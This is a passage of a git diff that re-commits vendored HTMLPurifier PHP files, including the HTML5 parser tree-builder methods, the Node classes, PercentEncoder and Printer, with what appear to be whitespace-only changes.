scope with + the same tag name as that of the token, then act as if an end tag + with the tag name "select" had been seen, and reprocess the token. + Otherwise, ignore the token. */ + if ($this->elementInScope($token['name'], true)) { + $this->inSelect( + array( + 'name' => 'select', + 'type' => HTML5::ENDTAG + ) + ); + + $this->mainPhase($token); + } + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function afterBody($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Process the token as it would be processed if the insertion mode + was "in body". */ + $this->inBody($token); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the first element in the stack of open + elements (the html element), with the data attribute set to the + data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->stack[0]->appendChild($comment); + + /* An end tag with the tag name "html" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { + /* If the parser was originally created in order to handle the + setting of an element's innerHTML attribute, this is a parse error; + ignore the token. (The element will be an html element in this + case.) (innerHTML case) */ + + /* Otherwise, switch to the trailing end phase. */ + $this->phase = self::END_PHASE; + + /* Anything else */ + } else { + /* Parse error. Set the insertion mode to "in body" and reprocess + the token. */ + $this->mode = self::IN_BODY; + return $this->inBody($token); + } + } + + private function inFrameset($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag with the tag name "frameset" */ + } elseif ($token['name'] === 'frameset' && + $token['type'] === HTML5::STARTTAG + ) { + $this->insertElement($token); + + /* An end tag with the tag name "frameset" */ + } elseif ($token['name'] === 'frameset' && + $token['type'] === HTML5::ENDTAG + ) { + /* If the current node is the root html element, then this is a + parse error; ignore the token. (innerHTML case) */ + if (end($this->stack)->nodeName === 'html') { + // Ignore + + } else { + /* Otherwise, pop the current node from the stack of open + elements. */ + array_pop($this->stack); + + /* If the parser was not originally created in order to handle + the setting of an element's innerHTML attribute (innerHTML case), + and the current node is no longer a frameset element, then change + the insertion mode to "after frameset". */ + $this->mode = self::AFTR_FRAME; + } + + /* A start tag with the tag name "frame" */ + } elseif ($token['name'] === 'frame' && + $token['type'] === HTML5::STARTTAG + ) { + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* Immediately pop the current node off the stack of open elements. */ + array_pop($this->stack); + + /* A start tag with the tag name "noframes" */ + } elseif ($token['name'] === 'noframes' && + $token['type'] === HTML5::STARTTAG + ) { + /* Process the token as if the insertion mode had been "in body". */ + $this->inBody($token); + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function afterFrameset($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* An end tag with the tag name "html" */ + } elseif ($token['name'] === 'html' && + $token['type'] === HTML5::ENDTAG + ) { + /* Switch to the trailing end phase. */ + $this->phase = self::END_PHASE; + + /* A start tag with the tag name "noframes" */ + } elseif ($token['name'] === 'noframes' && + $token['type'] === HTML5::STARTTAG + ) { + /* Process the token as if the insertion mode had been "in body". */ + $this->inBody($token); + + /* Anything else */ + } else { + /* Parse error. Ignore the token. */ + } + } + + private function trailingEndPhase($token) + { + /* After the main phase, as each token is emitted from the tokenisation + stage, it must be processed as described in this section. */ + + /* A DOCTYPE token */ + if ($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the Document object with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->dom->appendChild($comment); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Process the token as it would be processed in the main phase. */ + $this->mainPhase($token); + + /* A character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. Or a start tag token. Or an end tag token. */ + } elseif (($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || + $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG + ) { + /* Parse error. Switch back to the main phase and reprocess the + token. */ + $this->phase = self::MAIN_PHASE; + return $this->mainPhase($token); + + /* An end-of-file token */ + } elseif ($token['type'] === HTML5::EOF) { + /* OMG DONE!! */ + } + } + + private function insertElement($token, $append = true, $check = false) + { + // Proprietary workaround for libxml2's limitations with tag names + if ($check) { + // Slightly modified HTML5 tag-name modification, + // removing anything that's not an ASCII letter, digit, or hyphen + $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); + // Remove leading hyphens and numbers + $token['name'] = ltrim($token['name'], '-0..9'); + // In theory, this should ever be needed, but just in case + if ($token['name'] === '') { + $token['name'] = 'span'; + } // arbitrary generic choice + } + + $el = $this->dom->createElement($token['name']); + + foreach ($token['attr'] as $attr) { + if (!$el->hasAttribute($attr['name'])) { + $el->setAttribute($attr['name'], $attr['value']); + } + } + + $this->appendToRealParent($el); + $this->stack[] = $el; + + return $el; + } + + private function insertText($data) + { + $text = $this->dom->createTextNode($data); + $this->appendToRealParent($text); + } + + private function insertComment($data) + { + $comment = $this->dom->createComment($data); + $this->appendToRealParent($comment); + } + + private function appendToRealParent($node) + { + if ($this->foster_parent === null) { + end($this->stack)->appendChild($node); + + } elseif ($this->foster_parent !== null) { + /* If the foster parent element is the parent element of the + last table element in the stack of open elements, then the new + node must be inserted immediately before the last table element + in the stack of open elements in the foster parent element; + otherwise, the new node must be appended to the foster parent + element. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === 'table' && + $this->stack[$n]->parentNode !== null + ) { + $table = $this->stack[$n]; + break; + } + } + + if (isset($table) && $this->foster_parent->isSameNode($table->parentNode)) { + $this->foster_parent->insertBefore($node, $table); + } else { + $this->foster_parent->appendChild($node); + } + + $this->foster_parent = null; + } + } + + private function elementInScope($el, $table = false) + { + if (is_array($el)) { + foreach ($el as $element) { + if ($this->elementInScope($element, $table)) { + return true; + } + } + + return false; + } + + $leng = count($this->stack); + + for ($n = 0; $n < $leng; $n++) { + /* 1. Initialise node to be the current node (the bottommost node of + the stack). */ + $node = $this->stack[$leng - 1 - $n]; + + if ($node->tagName === $el) { + /* 2. If node is the target node, terminate in a match state. */ + return true; + + } elseif ($node->tagName === 'table') { + /* 3. Otherwise, if node is a table element, terminate in a failure + state. */ + return false; + + } elseif ($table === true && in_array( + $node->tagName, + array( + 'caption', + 'td', + 'th', + 'button', + 'marquee', + 'object' + ) + ) + ) { + /* 4. Otherwise, if the algorithm is the "has an element in scope" + variant (rather than the "has an element in table scope" variant), + and node is one of the following, terminate in a failure state. */ + return false; + + } elseif ($node === $node->ownerDocument->documentElement) { + /* 5. Otherwise, if node is an html element (root element), terminate + in a failure state. (This can only happen if the node is the topmost + node of the stack of open elements, and prevents the next step from + being invoked if there are no more elements in the stack.) */ + return false; + } + + /* Otherwise, set node to the previous entry in the stack of open + elements and return to step 2. (This will never fail, since the loop + will always terminate in the previous step if the top of the stack + is reached.) */ + } + } + + private function reconstructActiveFormattingElements() + { + /* 1. If there are no entries in the list of active formatting elements, + then there is nothing to reconstruct; stop this algorithm. */ + $formatting_elements = count($this->a_formatting); + + if ($formatting_elements === 0) { + return false; + } + + /* 3. Let entry be the last (most recently added) element in the list + of active formatting elements. */ + $entry = end($this->a_formatting); + + /* 2. If the last (most recently added) entry in the list of active + formatting elements is a marker, or if it is an element that is in the + stack of open elements, then there is nothing to reconstruct; stop this + algorithm. */ + if ($entry === self::MARKER || in_array($entry, $this->stack, true)) { + return false; + } + + for ($a = $formatting_elements - 1; $a >= 0; true) { + /* 4. If there are no entries before entry in the list of active + formatting elements, then jump to step 8. */ + if ($a === 0) { + $step_seven = false; + break; + } + + /* 5. Let entry be the entry one earlier than entry in the list of + active formatting elements. */ + $a--; + $entry = $this->a_formatting[$a]; + + /* 6. If entry is neither a marker nor an element that is also in + thetack of open elements, go to step 4. */ + if ($entry === self::MARKER || in_array($entry, $this->stack, true)) { + break; + } + } + + while (true) { + /* 7. Let entry be the element one later than entry in the list of + active formatting elements. */ + if (isset($step_seven) && $step_seven === true) { + $a++; + $entry = $this->a_formatting[$a]; + } + + /* 8. Perform a shallow clone of the element entry to obtain clone. */ + $clone = $entry->cloneNode(); + + /* 9. Append clone to the current node and push it onto the stack + of open elements so that it is the new current node. */ + end($this->stack)->appendChild($clone); + $this->stack[] = $clone; + + /* 10. Replace the entry for entry in the list with an entry for + clone. */ + $this->a_formatting[$a] = $clone; + + /* 11. If the entry for clone in the list of active formatting + elements is not the last entry in the list, return to step 7. */ + if (end($this->a_formatting) !== $clone) { + $step_seven = true; + } else { + break; + } + } + } + + private function clearTheActiveFormattingElementsUpToTheLastMarker() + { + /* When the steps below require the UA to clear the list of active + formatting elements up to the last marker, the UA must perform the + following steps: */ + + while (true) { + /* 1. Let entry be the last (most recently added) entry in the list + of active formatting elements. */ + $entry = end($this->a_formatting); + + /* 2. Remove entry from the list of active formatting elements. */ + array_pop($this->a_formatting); + + /* 3. If entry was a marker, then stop the algorithm at this point. + The list has been cleared up to the last marker. */ + if ($entry === self::MARKER) { + break; + } + } + } + + private function generateImpliedEndTags($exclude = array()) + { + /* When the steps below require the UA to generate implied end tags, + then, if the current node is a dd element, a dt element, an li element, + a p element, a td element, a th element, or a tr element, the UA must + act as if an end tag with the respective tag name had been seen and + then generate implied end tags again. */ + $node = end($this->stack); + $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); + + while (in_array(end($this->stack)->nodeName, $elements)) { + array_pop($this->stack); + } + } + + private function getElementCategory($node) + { + $name = $node->tagName; + if (in_array($name, $this->special)) { + return self::SPECIAL; + } elseif (in_array($name, $this->scoping)) { + return self::SCOPING; + } elseif (in_array($name, $this->formatting)) { + return self::FORMATTING; + } else { + return self::PHRASING; + } + } + + private function clearStackToTableContext($elements) + { + /* When the steps above require the UA to clear the stack back to a + table context, it means that the UA must, while the current node is not + a table element or an html element, pop elements from the stack of open + elements. If this causes any elements to be popped from the stack, then + this is a parse error. */ + while (true) { + $node = end($this->stack)->nodeName; + + if (in_array($node, $elements)) { + break; + } else { + array_pop($this->stack); + } + } + } + + private function resetInsertionMode() + { + /* 1. Let last be false. */ + $last = false; + $leng = count($this->stack); + + for ($n = $leng - 1; $n >= 0; $n--) { + /* 2. Let node be the last node in the stack of open elements. */ + $node = $this->stack[$n]; + + /* 3. If node is the first node in the stack of open elements, then + set last to true. If the element whose innerHTML attribute is being + set is neither a td element nor a th element, then set node to the + element whose innerHTML attribute is being set. (innerHTML case) */ + if ($this->stack[0]->isSameNode($node)) { + $last = true; + } + + /* 4. If node is a select element, then switch the insertion mode to + "in select" and abort these steps. (innerHTML case) */ + if ($node->nodeName === 'select') { + $this->mode = self::IN_SELECT; + break; + + /* 5. If node is a td or th element, then switch the insertion mode + to "in cell" and abort these steps. */ + } elseif ($node->nodeName === 'td' || $node->nodeName === 'th') { + $this->mode = self::IN_CELL; + break; + + /* 6. If node is a tr element, then switch the insertion mode to + "in row" and abort these steps. */ + } elseif ($node->nodeName === 'tr') { + $this->mode = self::IN_ROW; + break; + + /* 7. If node is a tbody, thead, or tfoot element, then switch the + insertion mode to "in table body" and abort these steps. */ + } elseif (in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { + $this->mode = self::IN_TBODY; + break; + + /* 8. If node is a caption element, then switch the insertion mode + to "in caption" and abort these steps. */ + } elseif ($node->nodeName === 'caption') { + $this->mode = self::IN_CAPTION; + break; + + /* 9. If node is a colgroup element, then switch the insertion mode + to "in column group" and abort these steps. (innerHTML case) */ + } elseif ($node->nodeName === 'colgroup') { + $this->mode = self::IN_CGROUP; + break; + + /* 10. If node is a table element, then switch the insertion mode + to "in table" and abort these steps. */ + } elseif ($node->nodeName === 'table') { + $this->mode = self::IN_TABLE; + break; + + /* 11. If node is a head element, then switch the insertion mode + to "in body" ("in body"! not "in head"!) and abort these steps. + (innerHTML case) */ + } elseif ($node->nodeName === 'head') { + $this->mode = self::IN_BODY; + break; + + /* 12. If node is a body element, then switch the insertion mode to + "in body" and abort these steps. */ + } elseif ($node->nodeName === 'body') { + $this->mode = self::IN_BODY; + break; + + /* 13. If node is a frameset element, then switch the insertion + mode to "in frameset" and abort these steps. (innerHTML case) */ + } elseif ($node->nodeName === 'frameset') { + $this->mode = self::IN_FRAME; + break; + + /* 14. If node is an html element, then: if the head element + pointer is null, switch the insertion mode to "before head", + otherwise, switch the insertion mode to "after head". In either + case, abort these steps. (innerHTML case) */ + } elseif ($node->nodeName === 'html') { + $this->mode = ($this->head_pointer === null) + ? self::BEFOR_HEAD + : self::AFTER_HEAD; + + break; + + /* 15. If last is true, then set the insertion mode to "in body" + and abort these steps. (innerHTML case) */ + } elseif ($last) { + $this->mode = self::IN_BODY; + break; + } + } + } + + private function closeCell() + { + /* If the stack of open elements has a td or th element in table scope, + then act as if an end tag token with that tag name had been seen. */ + foreach (array('td', 'th') as $cell) { + if ($this->elementInScope($cell, true)) { + $this->inCell( + array( + 'name' => $cell, + 'type' => HTML5::ENDTAG + ) + ); + + break; + } + } + } + + public function save() + { + return $this->dom; + } +} diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php index d7dcf62398..3995fec9fe 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php @@ -1,49 +1,49 @@ -data = $data; - $this->line = $line; - $this->col = $col; - } - - public function toTokenPair() { - return array(new HTMLPurifier_Token_Comment($this->data, $this->line, $this->col), null); - } -} +data = $data; + $this->line = $line; + $this->col = $col; + } + + public function toTokenPair() { + return array(new HTMLPurifier_Token_Comment($this->data, $this->line, $this->col), null); + } +} diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php index 7db4d0253f..6cbf56dada 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php @@ -1,59 +1,59 @@ - form or the form, i.e. - * is it a pair of start/end tokens or an empty token. - * @bool - */ - public $empty = false; - - public $endCol = null, $endLine = null, $endArmor = array(); - - public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) { - $this->name = $name; - $this->attr = $attr; - $this->line = $line; - $this->col = $col; - $this->armor = $armor; - } - - public function toTokenPair() { - // XXX inefficiency here, normalization is not necessary - if ($this->empty) { - return array(new HTMLPurifier_Token_Empty($this->name, $this->attr, $this->line, $this->col, $this->armor), null); - } else { - $start = new HTMLPurifier_Token_Start($this->name, $this->attr, $this->line, $this->col, $this->armor); - $end = new HTMLPurifier_Token_End($this->name, array(), $this->endLine, $this->endCol, $this->endArmor); - //$end->start = $start; - return array($start, $end); - } - } -} - + form or the form, i.e. + * is it a pair of start/end tokens or an empty token. + * @bool + */ + public $empty = false; + + public $endCol = null, $endLine = null, $endArmor = array(); + + public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) { + $this->name = $name; + $this->attr = $attr; + $this->line = $line; + $this->col = $col; + $this->armor = $armor; + } + + public function toTokenPair() { + // XXX inefficiency here, normalization is not necessary + if ($this->empty) { + return array(new HTMLPurifier_Token_Empty($this->name, $this->attr, $this->line, $this->col, $this->armor), null); + } else { + $start = new HTMLPurifier_Token_Start($this->name, $this->attr, $this->line, $this->col, $this->armor); + $end = new HTMLPurifier_Token_End($this->name, array(), $this->endLine, $this->endCol, $this->endArmor); + //$end->start = $start; + return array($start, $end); + } + } +} + diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php index f51d861af2..aec9166473 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php @@ -1,54 +1,54 @@ -data = $data; - $this->is_whitespace = $is_whitespace; - $this->line = $line; - $this->col = $col; - } - - public function toTokenPair() { - return array(new HTMLPurifier_Token_Text($this->data, $this->line, $this->col), null); - } -} - -// vim: et sw=4 sts=4 +data = $data; + $this->is_whitespace = $is_whitespace; + $this->line = $line; + $this->col = $col; + } + + public function toTokenPair() { + return array(new HTMLPurifier_Token_Text($this->data, $this->line, $this->col), null); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php index fb9fd1fc95..18c8bbb00a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php @@ -1,111 +1,111 @@ -preserve[$i] = true; - } - for ($i = 65; $i <= 90; $i++) { // upper-case - $this->preserve[$i] = true; - } - for ($i = 97; $i <= 122; $i++) { // lower-case - $this->preserve[$i] = true; - } - $this->preserve[45] = true; // Dash - - $this->preserve[46] = true; // Period . - $this->preserve[95] = true; // Underscore _ - $this->preserve[126]= true; // Tilde ~ - - // extra letters not to escape - if ($preserve !== false) { - for ($i = 0, $c = strlen($preserve); $i < $c; $i++) { - $this->preserve[ord($preserve[$i])] = true; - } - } - } - - /** - * Our replacement for urlencode, it encodes all non-reserved characters, - * as well as any extra characters that were instructed to be preserved. - * @note - * Assumes that the string has already been normalized, making any - * and all percent escape sequences valid. Percents will not be - * re-escaped, regardless of their status in $preserve - * @param string $string String to be encoded - * @return string Encoded string. - */ - public function encode($string) - { - $ret = ''; - for ($i = 0, $c = strlen($string); $i < $c; $i++) { - if ($string[$i] !== '%' && !isset($this->preserve[$int = ord($string[$i])])) { - $ret .= '%' . sprintf('%02X', $int); - } else { - $ret .= $string[$i]; - } - } - return $ret; - } - - /** - * Fix up percent-encoding by decoding unreserved characters and normalizing. - * @warning This function is affected by $preserve, even though the - * usual desired behavior is for this not to preserve those - * characters. Be careful when reusing instances of PercentEncoder! - * @param string $string String to normalize - * @return string - */ - public function normalize($string) - { - if ($string == '') { - return ''; - } - $parts = explode('%', $string); - $ret = array_shift($parts); - foreach ($parts as $part) { - $length = strlen($part); - if ($length < 2) { - $ret .= '%25' . $part; - continue; - } - $encoding = substr($part, 0, 2); - $text = substr($part, 2); - if (!ctype_xdigit($encoding)) { - $ret .= '%25' . $part; - continue; - } - $int = hexdec($encoding); - if (isset($this->preserve[$int])) { - $ret .= chr($int) . $text; - continue; - } - $encoding = strtoupper($encoding); - $ret .= '%' . $encoding . $text; - } - return $ret; - } -} - -// vim: et sw=4 sts=4 +preserve[$i] = true; + } + for ($i = 65; $i <= 90; $i++) { // upper-case + $this->preserve[$i] = true; + } + for ($i = 97; $i <= 122; $i++) { // lower-case + $this->preserve[$i] = true; + } + $this->preserve[45] = true; // Dash - + $this->preserve[46] = true; // Period . + $this->preserve[95] = true; // Underscore _ + $this->preserve[126]= true; // Tilde ~ + + // extra letters not to escape + if ($preserve !== false) { + for ($i = 0, $c = strlen($preserve); $i < $c; $i++) { + $this->preserve[ord($preserve[$i])] = true; + } + } + } + + /** + * Our replacement for urlencode, it encodes all non-reserved characters, + * as well as any extra characters that were instructed to be preserved. + * @note + * Assumes that the string has already been normalized, making any + * and all percent escape sequences valid. Percents will not be + * re-escaped, regardless of their status in $preserve + * @param string $string String to be encoded + * @return string Encoded string. + */ + public function encode($string) + { + $ret = ''; + for ($i = 0, $c = strlen($string); $i < $c; $i++) { + if ($string[$i] !== '%' && !isset($this->preserve[$int = ord($string[$i])])) { + $ret .= '%' . sprintf('%02X', $int); + } else { + $ret .= $string[$i]; + } + } + return $ret; + } + + /** + * Fix up percent-encoding by decoding unreserved characters and normalizing. + * @warning This function is affected by $preserve, even though the + * usual desired behavior is for this not to preserve those + * characters. Be careful when reusing instances of PercentEncoder! + * @param string $string String to normalize + * @return string + */ + public function normalize($string) + { + if ($string == '') { + return ''; + } + $parts = explode('%', $string); + $ret = array_shift($parts); + foreach ($parts as $part) { + $length = strlen($part); + if ($length < 2) { + $ret .= '%25' . $part; + continue; + } + $encoding = substr($part, 0, 2); + $text = substr($part, 2); + if (!ctype_xdigit($encoding)) { + $ret .= '%25' . $part; + continue; + } + $int = hexdec($encoding); + if (isset($this->preserve[$int])) { + $ret .= chr($int) . $text; + continue; + } + $encoding = strtoupper($encoding); + $ret .= '%' . $encoding . $text; + } + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php index 16acd41574..549e4cea1e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php @@ -1,218 +1,218 @@ -getAll(); - $context = new HTMLPurifier_Context(); - $this->generator = new HTMLPurifier_Generator($config, $context); - } - - /** - * Main function that renders object or aspect of that object - * @note Parameters vary depending on printer - */ - // function render() {} - - /** - * Returns a start tag - * @param string $tag Tag name - * @param array $attr Attribute array - * @return string - */ - protected function start($tag, $attr = array()) - { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Start($tag, $attr ? $attr : array()) - ); - } - - /** - * Returns an end tag - * @param string $tag Tag name - * @return string - */ - protected function end($tag) - { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_End($tag) - ); - } - - /** - * Prints a complete element with content inside - * @param string $tag Tag name - * @param string $contents Element contents - * @param array $attr Tag attributes - * @param bool $escape whether or not to escape contents - * @return string - */ - protected function element($tag, $contents, $attr = array(), $escape = true) - { - return $this->start($tag, $attr) . - ($escape ? $this->escape($contents) : $contents) . - $this->end($tag); - } - - /** - * @param string $tag - * @param array $attr - * @return string - */ - protected function elementEmpty($tag, $attr = array()) - { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Empty($tag, $attr) - ); - } - - /** - * @param string $text - * @return string - */ - protected function text($text) - { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Text($text) - ); - } - - /** - * Prints a simple key/value row in a table. - * @param string $name Key - * @param mixed $value Value - * @return string - */ - protected function row($name, $value) - { - if (is_bool($value)) { - $value = $value ? 'On' : 'Off'; - } - return - $this->start('tr') . "\n" . - $this->element('th', $name) . "\n" . - $this->element('td', $value) . "\n" . - $this->end('tr'); - } - - /** - * Escapes a string for HTML output. - * @param string $string String to escape - * @return string - */ - protected function escape($string) - { - $string = HTMLPurifier_Encoder::cleanUTF8($string); - $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8'); - return $string; - } - - /** - * Takes a list of strings and turns them into a single list - * @param string[] $array List of strings - * @param bool $polite Bool whether or not to add an end before the last - * @return string - */ - protected function listify($array, $polite = false) - { - if (empty($array)) { - return 'None'; - } - $ret = ''; - $i = count($array); - foreach ($array as $value) { - $i--; - $ret .= $value; - if ($i > 0 && !($polite && $i == 1)) { - $ret .= ', '; - } - if ($polite && $i == 1) { - $ret .= 'and '; - } - } - return $ret; - } - - /** - * Retrieves the class of an object without prefixes, as well as metadata - * @param object $obj Object to determine class of - * @param string $sec_prefix Further prefix to remove - * @return string - */ - protected function getClass($obj, $sec_prefix = '') - { - static $five = null; - if ($five === null) { - $five = version_compare(PHP_VERSION, '5', '>='); - } - $prefix = 'HTMLPurifier_' . $sec_prefix; - if (!$five) { - $prefix = strtolower($prefix); - } - $class = str_replace($prefix, '', get_class($obj)); - $lclass = strtolower($class); - $class .= '('; - switch ($lclass) { - case 'enum': - $values = array(); - foreach ($obj->valid_values as $value => $bool) { - $values[] = $value; - } - $class .= implode(', ', $values); - break; - case 'css_composite': - $values = array(); - foreach ($obj->defs as $def) { - $values[] = $this->getClass($def, $sec_prefix); - } - $class .= implode(', ', $values); - break; - case 'css_multiple': - $class .= $this->getClass($obj->single, $sec_prefix) . ', '; - $class .= $obj->max; - break; - case 'css_denyelementdecorator': - $class .= $this->getClass($obj->def, $sec_prefix) . ', '; - $class .= $obj->element; - break; - case 'css_importantdecorator': - $class .= $this->getClass($obj->def, $sec_prefix); - if ($obj->allow) { - $class .= ', !important'; - } - break; - } - $class .= ')'; - return $class; - } -} - -// vim: et sw=4 sts=4 +getAll(); + $context = new HTMLPurifier_Context(); + $this->generator = new HTMLPurifier_Generator($config, $context); + } + + /** + * Main function that renders object or aspect of that object + * @note Parameters vary depending on printer + */ + // function render() {} + + /** + * Returns a start tag + * @param string $tag Tag name + * @param array $attr Attribute array + * @return string + */ + protected function start($tag, $attr = array()) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_Start($tag, $attr ? $attr : array()) + ); + } + + /** + * Returns an end tag + * @param string $tag Tag name + * @return string + */ + protected function end($tag) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_End($tag) + ); + } + + /** + * Prints a complete element with content inside + * @param string $tag Tag name + * @param string $contents Element contents + * @param array $attr Tag attributes + * @param bool $escape whether or not to escape contents + * @return string + */ + protected function element($tag, $contents, $attr = array(), $escape = true) + { + return $this->start($tag, $attr) . + ($escape ? $this->escape($contents) : $contents) . + $this->end($tag); + } + + /** + * @param string $tag + * @param array $attr + * @return string + */ + protected function elementEmpty($tag, $attr = array()) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_Empty($tag, $attr) + ); + } + + /** + * @param string $text + * @return string + */ + protected function text($text) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_Text($text) + ); + } + + /** + * Prints a simple key/value row in a table. + * @param string $name Key + * @param mixed $value Value + * @return string + */ + protected function row($name, $value) + { + if (is_bool($value)) { + $value = $value ? 'On' : 'Off'; + } + return + $this->start('tr') . "\n" . + $this->element('th', $name) . "\n" . + $this->element('td', $value) . "\n" . + $this->end('tr'); + } + + /** + * Escapes a string for HTML output. + * @param string $string String to escape + * @return string + */ + protected function escape($string) + { + $string = HTMLPurifier_Encoder::cleanUTF8($string); + $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8'); + return $string; + } + + /** + * Takes a list of strings and turns them into a single list + * @param string[] $array List of strings + * @param bool $polite Bool whether or not to add an end before the last + * @return string + */ + protected function listify($array, $polite = false) + { + if (empty($array)) { + return 'None'; + } + $ret = ''; + $i = count($array); + foreach ($array as $value) { + $i--; + $ret .= $value; + if ($i > 0 && !($polite && $i == 1)) { + $ret .= ', '; + } + if ($polite && $i == 1) { + $ret .= 'and '; + } + } + return $ret; + } + + /** + * Retrieves the class of an object without prefixes, as well as metadata + * @param object $obj Object to determine class of + * @param string $sec_prefix Further prefix to remove + * @return string + */ + protected function getClass($obj, $sec_prefix = '') + { + static $five = null; + if ($five === null) { + $five = version_compare(PHP_VERSION, '5', '>='); + } + $prefix = 'HTMLPurifier_' . $sec_prefix; + if (!$five) { + $prefix = strtolower($prefix); + } + $class = str_replace($prefix, '', get_class($obj)); + $lclass = strtolower($class); + $class .= '('; + switch ($lclass) { + case 'enum': + $values = array(); + foreach ($obj->valid_values as $value => $bool) { + $values[] = $value; + } + $class .= implode(', ', $values); + break; + case 'css_composite': + $values = array(); + foreach ($obj->defs as $def) { + $values[] = $this->getClass($def, $sec_prefix); + } + $class .= implode(', ', $values); + break; + case 'css_multiple': + $class .= $this->getClass($obj->single, $sec_prefix) . ', '; + $class .= $obj->max; + break; + case 'css_denyelementdecorator': + $class .= $this->getClass($obj->def, $sec_prefix) . ', '; + $class .= $obj->element; + break; + case 'css_importantdecorator': + $class .= $this->getClass($obj->def, $sec_prefix); + if ($obj->allow) { + $class .= ', !important'; + } + break; + } + $class .= ')'; + return $class; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php index afc8c18ab9..29505fe12d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php @@ -1,44 +1,44 @@ -def = $config->getCSSDefinition(); - $ret = ''; - - $ret .= $this->start('div', array('class' => 